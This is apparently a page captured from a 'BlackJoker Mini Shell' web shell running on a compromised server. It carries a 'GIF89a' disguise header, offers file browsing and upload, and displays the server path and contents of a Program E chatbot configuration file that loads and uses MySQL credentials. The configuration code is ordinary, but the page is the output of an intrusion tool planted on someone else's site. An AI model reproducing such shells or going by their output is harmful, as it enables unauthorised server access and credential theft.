GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/chat/temp/bot/programe/src/botinst/
Upload File :
Current File : /home/serb/www/chat/temp/bot/programe/src/botinst/dbprefs.php

<?php

/*
    Program E
	Copyright 2002, Paul Rydell

	This file is part of Program E.

	Program E is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    Program E is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with Program E; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

/**
 * Preferences file
 *
 * Contains the preferences settings for the database and the application itself. Constants
 * and the main MySQL connection.
 * @author Paul Rydell
 * @author Anne Kootstra
 * @copyright 2002 & 2004
 * @version 0.0.8
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 * @package Settings
 */

// Turn this off in case people have it on.
set_magic_quotes_runtime(0);

// Can't turn off magic quotes gpc so just redo what it did if it is on.
if (get_magic_quotes_gpc() && !isset($GLOBALS['socket_server']))
{
	if( is_array($_GET) )
	foreach($_GET as $k=>$v)$_GET[$k] = stripslashes($v);

	if( is_array($_POST) )
	foreach($_POST as $k=>$v)$_POST[$k] = stripslashes($v);

	/*
	if( is_array($_COOKIE) )
	foreach($_COOKIE as $k=>$v)$_COOKIE[$k] = stripslashes($v);
	*/
}

/**
* The errormessage when a loop is detected.
*/
define("LOOPINGERRORMSG", "Oops. I wasn't paying attention. Tell me again what is going on.");

/**
* The number of times a loop may occur before the error is thrown. -1 equals to no limit.
*/
define("LOOPINGLIMIT",150); // -1 for no limit

/**
* Has something to do with the random generator
*/
define("RANDOMCHANCECLEAN",100); // -1 to never check

/**
* the amount of minutes certain data needs to be kept.
*/
define("MINUTESTOKEEPDATA",120); // -1 to keep forever

/**
* Minutes to keep the chatlot, standard set to -1, meaning forever.
*/
define("MINUTESTOKEEPCHATLOG",-1); // -1 to keep forever

/**
* standard value when a user predicate hasn't been set.
*/
define("DEFAULTPREDICATEVALUE", "%USER%NAME%");


/**
* wether or not to use the resonse caching mechanism. 1=yes, 0=no
*/
define('CACHE_CONTROL', 0);

/**
* version number of the application.
*/
define("PROGRAMEVERSION","v0.09");

// This is where all the AIML and startup.xml resides
$rootdir = dirname(__FILE__) . "/../../aiml/";

if(!isset($GLOBALS['fc_config']['db']))
{
    require_once dirname(__FILE__) . '/../../../../../temp/config.srv.php';
}

$DB_HOST  = $GLOBALS['fc_config']['db']['host'];
$DB_UNAME = $GLOBALS['fc_config']['db']['user'];
$DB_PWORD = $GLOBALS['fc_config']['db']['pass'];
$DB_DB    = $GLOBALS['fc_config']['db']['base'];

$errors="";

mysql_connect($DB_HOST,$DB_UNAME,$DB_PWORD) or $errors = $errors . "Could not connect to database.\n";
@mysql_select_db($DB_DB) or $errors = $errors . "Unable to select database\n";
?>

./BlackJoker Mini Shell 1.0